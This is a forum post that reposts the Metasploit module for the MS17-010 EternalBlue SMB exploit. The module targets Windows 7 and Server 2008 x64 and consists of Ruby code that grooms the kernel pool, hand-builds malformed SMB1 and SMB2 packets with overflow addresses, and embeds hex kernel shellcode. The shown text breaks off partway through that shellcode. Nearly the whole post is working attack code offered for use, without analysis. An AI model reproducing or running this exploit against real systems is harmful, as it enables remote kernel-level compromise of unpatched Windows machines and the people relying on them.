搜索
查看: 257|回复: 0

msf_ms17_010_eternalblue&nmap-smb-vuln-ms17-010

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-6-11 19:34:40 | 显示全部楼层 |阅读模式
msf_ms17_010_eternalblue
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##

  5. require 'ruby_smb'
  6. require 'ruby_smb/smb1/packet'

  7. class MetasploitModule < Msf::Exploit::Remote
  8.   Rank = GreatRanking

  9.   include Msf::Exploit::Remote::Tcp

  10.   def initialize(info = {})
  11.     super(update_info(info,
  12.       'Name'           => 'MS17-010 EternalBlue SMB Remote Kernel Pool Corruption',
  13.       'Description'    => %q{
  14.         This module is a port of the Equation Group ETERNALBLUE exploit, part of
  15.         the FuzzBunch toolkit released by Shadow Brokers.

  16.         There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  17.         is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  18.         DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  19.         is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  20.         completed in srvnet!SrvNetWskReceiveComplete.

  21.         This exploit, like the original may not trigger 100% of the time, and should be
  22.         run continuously until triggered. It seems like the pool will get hot streaks
  23.         and need a cool down period before the shells rain in again.
  24.       },

  25.       'Author'         => [
  26.         'Sean Dillon <sean.dillon@risksense.com>',  # @zerosum0x0
  27.         'Dylan Davis <dylan.davis@risksense.com>',  # @jennamagius
  28.         'Equation Group',
  29.         'Shadow Brokers'
  30.        ],
  31.       'License'        => MSF_LICENSE,
  32.       'References'     =>
  33.         [
  34.           [ 'MSB', 'MS17-010' ],
  35.           [ 'CVE', '2017-0143' ],
  36.           [ 'CVE', '2017-0144' ],
  37.           [ 'CVE', '2017-0145' ],
  38.           [ 'CVE', '2017-0146' ],
  39.           [ 'CVE', '2017-0147' ],
  40.           [ 'CVE', '2017-0148' ],
  41.           [ 'URL', 'https://github.com/RiskSense-Ops/MS17-010' ]
  42.         ],
  43.       'DefaultOptions' =>
  44.         {
  45.           'EXITFUNC' => 'thread',
  46.         },
  47.       'Privileged'     => true,
  48.       'Payload'        =>
  49.         {
  50.           'Space'           => 2000,  # this can be more, needs to be recalculated
  51.           'EncoderType'     => Msf::Encoder::Type::Raw,
  52.         },
  53.       'Platform'       => 'win',
  54.       'Targets'        =>
  55.         [
  56.           [ 'Windows 7 and Server 2008 (x64) All Service Packs',
  57.             {
  58.               'Platform'       => 'win',
  59.               'Arch'           => [ ARCH_X64 ],

  60.               'ep_thl_b'       => 0x308,  # EPROCESS.ThreadListHead.Blink offset
  61.               'et_alertable'   => 0x4c,   # ETHREAD.Alertable offset
  62.               'teb_acp'        => 0x2c8,  # TEB.ActivationContextPointer offset
  63.               'et_tle'         => 0x420   # ETHREAD.ThreadListEntry offset
  64.             }
  65.           ],
  66.         ],
  67.       'DefaultTarget'  => 0,
  68.       'DisclosureDate' => 'Mar 14 2017'
  69.     ))

  70.     register_options(
  71.       [
  72.         Opt::RPORT(445),
  73.         OptString.new('ProcessName', [ true, 'Process to inject payload into.', 'spoolsv.exe' ]),
  74.         OptInt.new( 'MaxExploitAttempts', [ true,  "The number of times to retry the exploit.", 3 ] ),
  75.         OptInt.new( 'GroomAllocations', [ true,  "Initial number of times to groom the kernel pool.", 12 ] ),
  76.         OptInt.new( 'GroomDelta', [ true,  "The amount to increase the groom count by per try.", 5 ] )
  77.       ])
  78.   end

  79.   def check
  80.     # todo: create MS17-010 mixin, and hook up auxiliary/scanner/smb/smb_ms17_010
  81.   end

  82.   def exploit
  83.     begin
  84.       for i in 1..datastore['MaxExploitAttempts']

  85.         grooms = datastore['GroomAllocations'] + datastore['GroomDelta'] * (i - 1)

  86.         smb_eternalblue(datastore['ProcessName'], grooms)

  87.         # we don't need this sleep, and need to find a way to remove it
  88.         # problem is session_count won't increment until stage is complete :\
  89.         sleep 5

  90.         handler

  91.         if self.session_count > 0 # is there a better way?
  92.           print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  93.           print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  94.           print_good("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  95.           break
  96.         else
  97.           print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  98.           print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  99.           print_bad("=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=")
  100.         end
  101.       end

  102.     rescue  ::RubySMB::Error::UnexpectedStatusCode,
  103.             ::Errno::ECONNRESET,
  104.             ::Rex::HostUnreachable,
  105.             ::Rex::ConnectionTimeout,
  106.             ::Rex::ConnectionRefused  => e
  107.       print_bad("#{e.class}: #{e.message}")
  108.     rescue => error
  109.       print_bad(error.class)
  110.       print_bad(error.message)
  111.       print_bad(error.backtrace)
  112.     ensure
  113.       # pass
  114.     end
  115.   end

  116.   #
  117.   # Increase the default delay by five seconds since some kernel-mode
  118.   # payloads may not run immediately.
  119.   #
  120.   def wfs_delay
  121.     super + 5
  122.   end

  123.   def smb_eternalblue(process_name, grooms)
  124.     begin
  125.       # Step 0: pre-calculate what we can
  126.       shellcode =  make_kernel_user_payload(payload.encode, 0, 0, 0, 0, 0)
  127.       payload_hdr_pkt = make_smb2_payload_headers_packet
  128.       payload_body_pkt = make_smb2_payload_body_packet(shellcode)

  129.       # Step 1: Connect to IPC$ share
  130.       print_status("Connecting to target for exploitation.")
  131.       client, tree, sock = smb1_anonymous_connect_ipc()
  132.       print_good("Connection established for exploitation.")

  133.       print_status("Trying exploit with #{grooms} Groom Allocations.")

  134.       # Step 2: Create a large SMB1 buffer
  135.       print_status("Sending all but last fragment of exploit packet")
  136.       smb1_large_buffer(client, tree, sock)

  137.       # Step 3: Groom the pool with payload packets, and open/close SMB1 packets
  138.       print_status("Starting non-paged pool grooming")

  139.       # initialize_groom_threads(ip, port, payload, grooms)
  140.       fhs_sock = smb1_free_hole(true)

  141.       @groom_socks = []

  142.       print_good("Sending SMBv2 buffers")
  143.       smb2_grooms(grooms, payload_hdr_pkt)

  144.       fhf_sock = smb1_free_hole(false)

  145.       print_good("Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.")
  146.       fhs_sock.shutdown()

  147.       print_status("Sending final SMBv2 buffers.") # 6x
  148.       smb2_grooms(6, payload_hdr_pkt) # todo: magic #

  149.       fhf_sock.shutdown()

  150.       print_status("Sending last fragment of exploit packet!")
  151.       final_exploit_pkt = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_exploit, 15)
  152.       sock.put(final_exploit_pkt)

  153.       print_status("Receiving response from exploit packet")
  154.       code, raw = smb1_get_response(sock)

  155.       if code == 0xc000000d #STATUS_INVALID_PARAMETER (0xC000000D)
  156.         print_good("ETERNALBLUE overwrite completed successfully (0xC000000D)!")
  157.       end

  158.       # Step 4: Send the payload
  159.       print_status("Sending egg to corrupted connection.")

  160.       @groom_socks.each{ |gsock| gsock.put(payload_body_pkt.first(2920)) }
  161.       @groom_socks.each{ |gsock| gsock.put(payload_body_pkt[2920..(4204 - 0x84)]) }

  162.       print_status("Triggering free of corrupted buffer.")
  163.       # tree disconnect
  164.       # logoff and x
  165.       # note: these aren't necessary, just close the sockets

  166.     ensure
  167.       abort_sockets
  168.     end
  169.   end

  170.   def smb2_grooms(grooms, payload_hdr_pkt)
  171.     grooms.times do |groom_id|
  172.       gsock = connect(false)
  173.       @groom_socks << gsock
  174.       gsock.put(payload_hdr_pkt)
  175.     end
  176.   end

  177.   def smb1_anonymous_connect_ipc()
  178.     sock = connect(false)
  179.     dispatcher = RubySMB::Dispatcher::Socket.new(sock)
  180.     client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
  181.     client.negotiate

  182.     pkt = make_smb1_anonymous_login_packet
  183.     sock.put(pkt)

  184.     code, raw, response = smb1_get_response(sock)

  185.     unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS
  186.       raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login"
  187.     end

  188.     client.user_id = response.uid

  189.     tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")

  190.     return client, tree, sock
  191.   end

  192.   def smb1_large_buffer(client, tree, sock)
  193.     nt_trans_pkt = make_smb1_nt_trans_packet(tree.id, client.user_id)

  194.     # send NT Trans
  195.     vprint_status("Sending NT Trans Request packet")
  196.     sock.put(nt_trans_pkt)

  197.     vprint_status("Receiving NT Trans packet")
  198.     raw = sock.get_once

  199.     # Initial Trans2  request
  200.     trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)

  201.     # send all but last packet
  202.     for i in 1..14
  203.         trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
  204.     end

  205.     trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id)

  206.     vprint_status("Sending malformed Trans2 packets")
  207.     sock.put(trans2_pkt_nulled)

  208.     sock.get_once
  209.   end

  210.   def smb1_free_hole(start)
  211.     sock = connect(false)
  212.     dispatcher = RubySMB::Dispatcher::Socket.new(sock)
  213.     client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
  214.     client.negotiate

  215.     pkt = ""

  216.     if start
  217.       vprint_status("Sending start free hole packet.")
  218.       pkt = make_smb1_free_hole_session_packet("\x07\xc0", "\x2d\x01", "\xf0\xff\x00\x00\x00")
  219.     else
  220.       vprint_status("Sending end free hole packet.")
  221.       pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
  222.     end

  223.     #dump_packet(pkt)
  224.     sock.put(pkt)

  225.     vprint_status("Receiving free hole response.")
  226.     sock.get_once

  227.     return sock
  228.   end

  229.   def smb1_get_response(sock)
  230.     raw = sock.get_once
  231.     response = RubySMB::SMB1::SMBHeader.read(raw[4..-1])
  232.     code = response.nt_status
  233.     return code, raw, response
  234.   end

  235.   def make_smb2_payload_headers_packet
  236.     # don't need a library here, the packet is essentially nonsensical
  237.     pkt = ""
  238.     pkt << "\x00"             # session message
  239.     pkt << "\x00\xff\xf7"     # size
  240.     pkt << "\xfeSMB"          # SMB2
  241.     pkt << "\x00" * 124

  242.     pkt
  243.   end

  244.   def make_smb2_payload_body_packet(kernel_user_payload)
  245.     # precalculated lengths
  246.     pkt_max_len = 4204
  247.     pkt_setup_len = 497
  248.     pkt_max_payload = pkt_max_len - pkt_setup_len # 3575

  249.     # this packet holds padding, KI_USER_SHARED_DATA addresses, and shellcode
  250.     pkt = ""

  251.     # padding
  252.     pkt << "\x00" * 0x8
  253.     pkt << "\x03\x00\x00\x00"
  254.     pkt << "\x00" * 0x1c
  255.     pkt << "\x03\x00\x00\x00"
  256.     pkt << "\x00" * 0x74

  257.     # KI_USER_SHARED_DATA addresses
  258.     pkt << "\xb0\x00\xd0\xff\xff\xff\xff\xff" * 2 # x64 address
  259.     pkt << "\x00" * 0x10
  260.     pkt << "\xc0\xf0\xdf\xff" * 2                 # x86 address
  261.     pkt << "\x00" * 0xc4

  262.     # payload addreses
  263.     pkt << "\x90\xf1\xdf\xff"
  264.     pkt << "\x00" * 0x4
  265.     pkt << "\xf0\xf1\xdf\xff"
  266.     pkt << "\x00" * 0x40

  267.     pkt << "\xf0\x01\xd0\xff\xff\xff\xff\xff"
  268.     pkt << "\x00" * 0x8
  269.     pkt << "\x00\x02\xd0\xff\xff\xff\xff\xff"
  270.     pkt << "\x00"

  271.     pkt << kernel_user_payload

  272.     # fill out the rest, this can be randomly generated
  273.     pkt << "\x00" * (pkt_max_payload - kernel_user_payload.length)

  274.     pkt
  275.   end

  276.   def make_smb1_echo_packet(tree_id, user_id)
  277.     pkt = ""
  278.     pkt << "\x00"               # type
  279.     pkt << "\x00\x00\x31"       # len = 49
  280.     pkt << "\xffSMB"            # SMB1
  281.     pkt << "\x2b"               # Echo
  282.     pkt << "\x00\x00\x00\x00"   # Success
  283.     pkt << "\x18"               # flags
  284.     pkt << "\x07\xc0"           # flags2
  285.     pkt << "\x00\x00"           # PID High
  286.     pkt << "\x00\x00\x00\x00"   # Signature1
  287.     pkt << "\x00\x00\x00\x00"   # Signature2
  288.     pkt << "\x00\x00"           # Reserved
  289.     pkt << [tree_id].pack("S>") # Tree ID
  290.     pkt << "\xff\xfe"           # PID
  291.     pkt << [user_id].pack("S>") # UserID
  292.     pkt << "\x40\x00"           # MultiplexIDs

  293.     pkt << "\x01"               # Word count
  294.     pkt << "\x01\x00"           # Echo count
  295.     pkt << "\x0c\x00"           # Byte count

  296.     # echo data
  297.     # this is an existing IDS signature, and can be nulled out
  298.     #pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00"
  299.     pkt <<  "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00"

  300.     pkt
  301.   end

  302.   # Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
  303.   def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
  304.     timeout = (timeout * 0x10) + 3

  305.     pkt = ""
  306.     pkt << "\x00"                   # Session message
  307.     pkt << "\x00\x10\x35"           # length
  308.     pkt << "\xffSMB"                # SMB1
  309.     pkt << "\x33"                   # Trans2 request
  310.     pkt << "\x00\x00\x00\x00"       # NT SUCCESS
  311.     pkt << "\x18"                   # Flags
  312.     pkt << "\x07\xc0"               # Flags2
  313.     pkt << "\x00\x00"               # PID High
  314.     pkt << "\x00\x00\x00\x00"       # Signature1
  315.     pkt << "\x00\x00\x00\x00"       # Signature2
  316.     pkt << "\x00\x00"               # Reserved
  317.     pkt << [tree_id].pack("S>")       # TreeID
  318.     pkt << "\xff\xfe"               # PID
  319.     pkt << [user_id].pack("S>")       # UserID
  320.     pkt << "\x40\x00"               # MultiplexIDs

  321.     pkt << "\x09"                   # Word Count
  322.     pkt << "\x00\x00"               # Total Param Count
  323.     pkt << "\x00\x10"               # Total Data Count
  324.     pkt << "\x00\x00"               # Max Param Count
  325.     pkt << "\x00\x00"               # Max Data Count
  326.     pkt << "\x00"                   # Max Setup Count
  327.     pkt << "\x00"                   # Reserved
  328.     pkt << "\x00\x10"               # Flags
  329.     pkt << "\x35\x00\xd0"           # Timeouts
  330.     pkt << timeout.chr
  331.     pkt << "\x00\x00"               # Reserved
  332.     pkt << "\x00\x10"               # Parameter Count

  333.     #pkt << "\x74\x70"               # Parameter Offset
  334.     #pkt << "\x47\x46"               # Data Count
  335.     #pkt << "\x45\x6f"               # Data Offset
  336.     #pkt << "\x4c"                   # Setup Count
  337.     #pkt << "\x4f"                   # Reserved

  338.     if type == :eb_trans2_exploit
  339.       vprint_status("Making :eb_trans2_exploit packet")

  340.       pkt << "\x41" * 2957

  341.       pkt << "\x80\x00\xa8\x00"                     # overflow

  342.       pkt << "\x00" * 0x10
  343.       pkt << "\xff\xff"
  344.       pkt << "\x00" * 0x6
  345.       pkt << "\xff\xff"
  346.       pkt << "\x00" * 0x16

  347.       pkt << "\x00\xf1\xdf\xff"             # x86 addresses
  348.       pkt << "\x00" * 0x8
  349.       pkt << "\x20\xf0\xdf\xff"

  350.       pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64

  351.       pkt << "\x60\x00\x04\x10"
  352.       pkt << "\x00" * 4

  353.       pkt << "\x80\xef\xdf\xff"

  354.       pkt << "\x00" * 4
  355.       pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
  356.       pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
  357.       pkt << "\x00" * 0x10

  358.       pkt << "\x60\x00\x04\x10"
  359.       pkt << "\x00" * 0xc
  360.       pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
  361.       pkt << "\x00" * 0x8
  362.       pkt << "\x80\x10"
  363.       pkt << "\x00" * 0xe
  364.       pkt << "\x39"
  365.       pkt << "\xbb"

  366.       pkt << "\x41" * 965

  367.       return pkt
  368.     end

  369.     if type == :eb_trans2_zero
  370.       vprint_status("Making :eb_trans2_zero packet")
  371.       pkt << "\x00" * 2055
  372.       pkt << "\x83\xf3"
  373.       pkt << "\x41" * 2039
  374.       #pkt << "\x00" * 4096
  375.     else
  376.       vprint_status("Making :eb_trans2_buffer packet")
  377.       pkt << "\x41" * 4096
  378.     end

  379.     pkt

  380.   end

  381.   def make_smb1_nt_trans_packet(tree_id, user_id)
  382.     pkt = ""
  383.     pkt << "\x00"                   # Session message
  384.     pkt << "\x00\x04\x38"           # length
  385.     pkt << "\xffSMB"                # SMB1
  386.     pkt << "\xa0"                   # NT Trans
  387.     pkt << "\x00\x00\x00\x00"       # NT SUCCESS
  388.     pkt << "\x18"                   # Flags
  389.     pkt << "\x07\xc0"               # Flags2
  390.     pkt << "\x00\x00"               # PID High
  391.     pkt << "\x00\x00\x00\x00"       # Signature1
  392.     pkt << "\x00\x00\x00\x00"       # Signature2
  393.     pkt << "\x00\x00"               # Reserved
  394.     pkt << [tree_id].pack("S>")       # TreeID
  395.     pkt << "\xff\xfe"               # PID
  396.     pkt << [user_id].pack("S>")       # UserID
  397.     pkt << "\x40\x00"               # MultiplexID

  398.     pkt << "\x14"                   # Word Count
  399.     pkt << "\x01"                   # Max Setup Count
  400.     pkt << "\x00\x00"               # Reserved
  401.     pkt << "\x1e\x00\x00\x00"       # Total Param Count
  402.     pkt << "\xd0\x03\x01\x00"       # Total Data Count
  403.     pkt << "\x1e\x00\x00\x00"       # Max Param Count
  404.     pkt << "\x00\x00\x00\x00"       # Max Data Count
  405.     pkt << "\x1e\x00\x00\x00"       # Param Count
  406.     pkt << "\x4b\x00\x00\x00"       # Param Offset
  407.     pkt << "\xd0\x03\x00\x00"       # Data Count
  408.     pkt << "\x68\x00\x00\x00"       # Data Offset
  409.     pkt << "\x01"                   # Setup Count
  410.     pkt << "\x00\x00"               # Function <unknown>
  411.     pkt << "\x00\x00"               # Unknown NT transaction (0) setup
  412.     pkt << "\xec\x03"               # Byte Count
  413.     pkt << "\x00" * 0x1f            # NT Parameters

  414.     # undocumented
  415.     pkt << "\x01"
  416.     pkt << "\x00" * 0x3cd

  417.     pkt
  418.   end

  419.   def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
  420.     pkt = ""
  421.     pkt << "\x00"                   # Session message
  422.     pkt << "\x00\x00\x51"           # length
  423.     pkt << "\xffSMB"                # SMB1
  424.     pkt << "\x73"                   # Session Setup AndX
  425.     pkt << "\x00\x00\x00\x00"       # NT SUCCESS
  426.     pkt << "\x18"                   # Flags
  427.     pkt << flags2                   # Flags2
  428.     pkt << "\x00\x00"               # PID High
  429.     pkt << "\x00\x00\x00\x00"       # Signature1
  430.     pkt << "\x00\x00\x00\x00"       # Signature2
  431.     pkt << "\x00\x00"               # Reserved
  432.     pkt << "\x00\x00"               # TreeID
  433.     pkt << "\xff\xfe"               # PID
  434.     pkt << "\x00\x00"               # UserID
  435.     pkt << "\x40\x00"               # MultiplexID
  436.     #pkt << "\x00\x00"               # Reserved

  437.     pkt << "\x0c"                   # Word Count
  438.     pkt << "\xff"                   # No further commands
  439.     pkt << "\x00"                   # Reserved
  440.     pkt << "\x00\x00"               # AndXOffset
  441.     pkt << "\x04\x11"               # Max Buffer
  442.     pkt << "\x0a\x00"               # Max Mpx Count
  443.     pkt << vcnum                    # VC Number
  444.     pkt << "\x00\x00\x00\x00"       # Session key
  445.     pkt << "\x00\x00"               # Security blob length
  446.     pkt << "\x00\x00\x00\x00"       # Reserved
  447.     pkt << "\x00\x00\x00\x80"       # Capabilities
  448.     pkt << "\x16\x00"               # Byte count
  449.     #pkt << "\xf0"                   # Security Blob: <MISSING>
  450.     #pkt << "\xff\x00\x00\x00"       # Native OS
  451.     #pkt << "\x00\x00"               # Native LAN manager
  452.     #pkt << "\x00\x00"               # Primary domain
  453.     pkt << native_os
  454.     pkt << "\x00" * 17              # Extra byte params

  455.     pkt
  456.   end

  457.   def make_smb1_anonymous_login_packet
  458.     # Neither Rex nor RubySMB appear to support Anon login?
  459.     pkt = ""
  460.     pkt << "\x00"                   # Session message
  461.     pkt << "\x00\x00\x88"           # length
  462.     pkt << "\xffSMB"                # SMB1
  463.     pkt << "\x73"                   # Session Setup AndX
  464.     pkt << "\x00\x00\x00\x00"       # NT SUCCESS
  465.     pkt << "\x18"                   # Flags
  466.     pkt << "\x07\xc0"               # Flags2
  467.     pkt << "\x00\x00"               # PID High
  468.     pkt << "\x00\x00\x00\x00"       # Signature1
  469.     pkt << "\x00\x00\x00\x00"       # Signature2
  470.     pkt << "\x00\x00"               # TreeID
  471.     pkt << "\xff\xfe"               # PID
  472.     pkt << "\x00\x00"               # Reserved
  473.     pkt << "\x00\x00"               # UserID
  474.     pkt << "\x40\x00"               # MultiplexID

  475.     pkt << "\x0d"                   # Word Count
  476.     pkt << "\xff"                   # No further commands
  477.     pkt << "\x00"                   # Reserved
  478.     pkt << "\x88\x00"               # AndXOffset
  479.     pkt << "\x04\x11"               # Max Buffer
  480.     pkt << "\x0a\x00"               # Max Mpx Count
  481.     pkt << "\x00\x00"               # VC Number
  482.     pkt << "\x00\x00\x00\x00"       # Session key
  483.     pkt << "\x01\x00"               # ANSI pw length
  484.     pkt << "\x00\x00"               # Unicode pw length
  485.     pkt << "\x00\x00\x00\x00"       # Reserved
  486.     pkt << "\xd4\x00\x00\x00"       # Capabilities
  487.     pkt << "\x4b\x00"               # Byte count
  488.     pkt << "\x00"                   # ANSI pw
  489.     pkt << "\x00\x00"               # Account name
  490.     pkt << "\x00\x00"               # Domain name

  491.     # Windows 2000 2195
  492.     pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
  493.     pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00"
  494.     pkt << "\x00\x00"

  495.     # Windows 2000 5.0
  496.     pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
  497.     pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"

  498.     pkt
  499.   end

  500.   # ring3 = user mode encoded payload
  501.   # proc_name = process to inject APC into
  502.   # ep_thl_b = EPROCESS.ThreadListHead.Blink offset
  503.   # et_alertable = ETHREAD.Alertable offset
  504.   # teb_acp = TEB.ActivationContextPointer offset
  505.   # et_tle = ETHREAD.ThreadListEntry offset
  506.   def make_kernel_user_payload(ring3, proc_name, ep_thl_b, et_alertable, teb_acp, et_tle)
  507.     sc = make_kernel_shellcode
  508.     sc << [ring3.length].pack("S<")
  509.     sc << ring3
  510.     sc
  511.   end

  512.   def make_kernel_shellcode
  513.     # https://github.com/RiskSense-Ops/MS17-010/blob/master/payloads/x64/src/exploit/kernel.asm
  514.     # Name: kernel
  515.     # Length: 951 bytes

  516.     #"\xcc"+
  517.     "\xB9\x82\x00\x00\xC0\x0F\x32\x48\xBB\xF8\x0F\xD0\xFF\xFF\xFF\xFF" +
  518.     "\xFF\x89\x53\x04\x89\x03\x48\x8D\x05\x0A\x00\x00\x00\x48\x89\xC2" +
  519.     "\x48\xC1\xEA\x20\x0F\x30\xC3\x0F\x01\xF8\x65\x48\x89\x24\x25\x10" +
  520.     "\x00\x00\x00\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x50\x53\x51\x52" +
  521.     "\x56\x57\x55\x41\x50\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41" +
  522.     "\x56\x41\x57\x6A\x2B\x65\xFF\x34\x25\x10\x00\x00\x00\x41\x53\x6A" +
  523.     "\x33\x51\x4C\x89\xD1\x48\x83\xEC\x08\x55\x48\x81\xEC\x58\x01\x00" +
  524.     "\x00\x48\x8D\xAC\x24\x80\x00\x00\x00\x48\x89\x9D\xC0\x00\x00\x00" +
  525.     "\x48\x89\xBD\xC8\x00\x00\x00\x48\x89\xB5\xD0\x00\x00\x00\x48\xA1" +
  526.     "\xF8\x0F\xD0\xFF\xFF\xFF\xFF\xFF\x48\x89\xC2\x48\xC1\xEA\x20\x48" +
  527.     "\x31\xDB\xFF\xCB\x48\x21\xD8\xB9\x82\x00\x00\xC0\x0F\x30\xFB\xE8" +
  528.     "\x38\x00\x00\x00\xFA\x65\x48\x8B\x24\x25\xA8\x01\x00\x00\x48\x83" +
  529.     "\xEC\x78\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x41\x5B\x41\x5A\x41\x59" +
  530.     "\x41\x58\x5D\x5F\x5E\x5A\x59\x5B\x58\x65\x48\x8B\x24\x25\x10\x00" +
  531.     "\x00\x00\x0F\x01\xF8\xFF\x24\x25\xF8\x0F\xD0\xFF\x56\x41\x57\x41" +
  532.     "\x56\x41\x55\x41\x54\x53\x55\x48\x89\xE5\x66\x83\xE4\xF0\x48\x83" +
  533.     "\xEC\x20\x4C\x8D\x35\xE3\xFF\xFF\xFF\x65\x4C\x8B\x3C\x25\x38\x00" +
  534.     "\x00\x00\x4D\x8B\x7F\x04\x49\xC1\xEF\x0C\x49\xC1\xE7\x0C\x49\x81" +
  535.     "\xEF\x00\x10\x00\x00\x49\x8B\x37\x66\x81\xFE\x4D\x5A\x75\xEF\x41" +
  536.     "\xBC\x20\x04\x00\x00\x31\xDB\x89\xD9\x83\xC1\x04\x81\xF9\x00\x00" +
  537.     "\x01\x00\x0F\x8D\x66\x01\x00\x00\x4C\x89\xF2\x89\xCB\x41\xBB\x66" +
  538.     "\x55\xA2\x4B\xE8\xBC\x01\x00\x00\x85\xC0\x75\xDB\x49\x8B\x0E\x41" +
  539.     "\xBB\xA3\x6F\x72\x2D\xE8\xAA\x01\x00\x00\x48\x89\xC6\xE8\x50\x01" +
  540.     "\x00\x00\x41\x81\xF9\xBF\x77\x1F\xDD\x75\xBC\x49\x8B\x1E\x4D\x8D" +
  541.     "\x6E\x10\x4C\x89\xEA\x48\x89\xD9\x41\xBB\xE5\x24\x11\xDC\xE8\x81" +
  542.     "\x01\x00\x00\x6A\x40\x68\x00\x10\x00\x00\x4D\x8D\x4E\x08\x49\xC7" +
  543.     "\x01\x00\x10\x00\x00\x4D\x31\xC0\x4C\x89\xF2\x31\xC9\x48\x89\x0A" +
  544.     "\x48\xF7\xD1\x41\xBB\x4B\xCA\x0A\xEE\x48\x83\xEC\x20\xE8\x52\x01" +
  545.     "\x00\x00\x85\xC0\x0F\x85\xC8\x00\x00\x00\x49\x8B\x3E\x48\x8D\x35" +
  546.     "\xE9\x00\x00\x00\x31\xC9\x66\x03\x0D\xD7\x01\x00\x00\x66\x81\xC1" +
  547.     "\xF9\x00\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03\x00\x00\x48\x89" +
  548.     "\xF1\x48\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1\x48\x83\xEC\x20" +
  549.     "\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48\x83\xC4\x20\x5A" +
  550.     "\x59\x48\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00\x00\x48\x85\xC0" +
  551.     "\x74\x0C\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05\x72\x05\x48\x8B" +
  552.     "\x09\xEB\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2\x80\xC2\x90\x31" +
  553.     "\xC9\x41\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00\x48\x89\xC1\x4C" +
  554.     "\x8D\x89\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89\xE2\x49\x89\xC4" +
  555.     "\x4D\x31\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41\x50\x48\x83\xEC" +
  556.     "\x20\x41\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00\x31\xD2\x52\x52" +
  557.     "\x41\x58\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09\x9E\xE8\x82\x00" +
  558.     "\x00\x00\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8\x74\x00\x00\x00" +
  559.     "\x48\x89\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00\x00\x00\x48\x89" +
  560.     "\xEC\x5D\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E\xC3\xE9\xB5\x00" +
  561.     "\x00\x00\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D\x3C\x61\x7C\x02" +
  562.     "\x2C\x20\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2\x65\x48\x8B\x52" +
  563.     "\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12\x48\x8B\x72\x50" +
  564.     "\x48\x0F\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C\x61\x7C\x02\x2C" +
  565.     "\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39\xD9\x75\xDA\x4C" +
  566.     "\x8B\x7A\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52\x51\x56\x48\x89" +
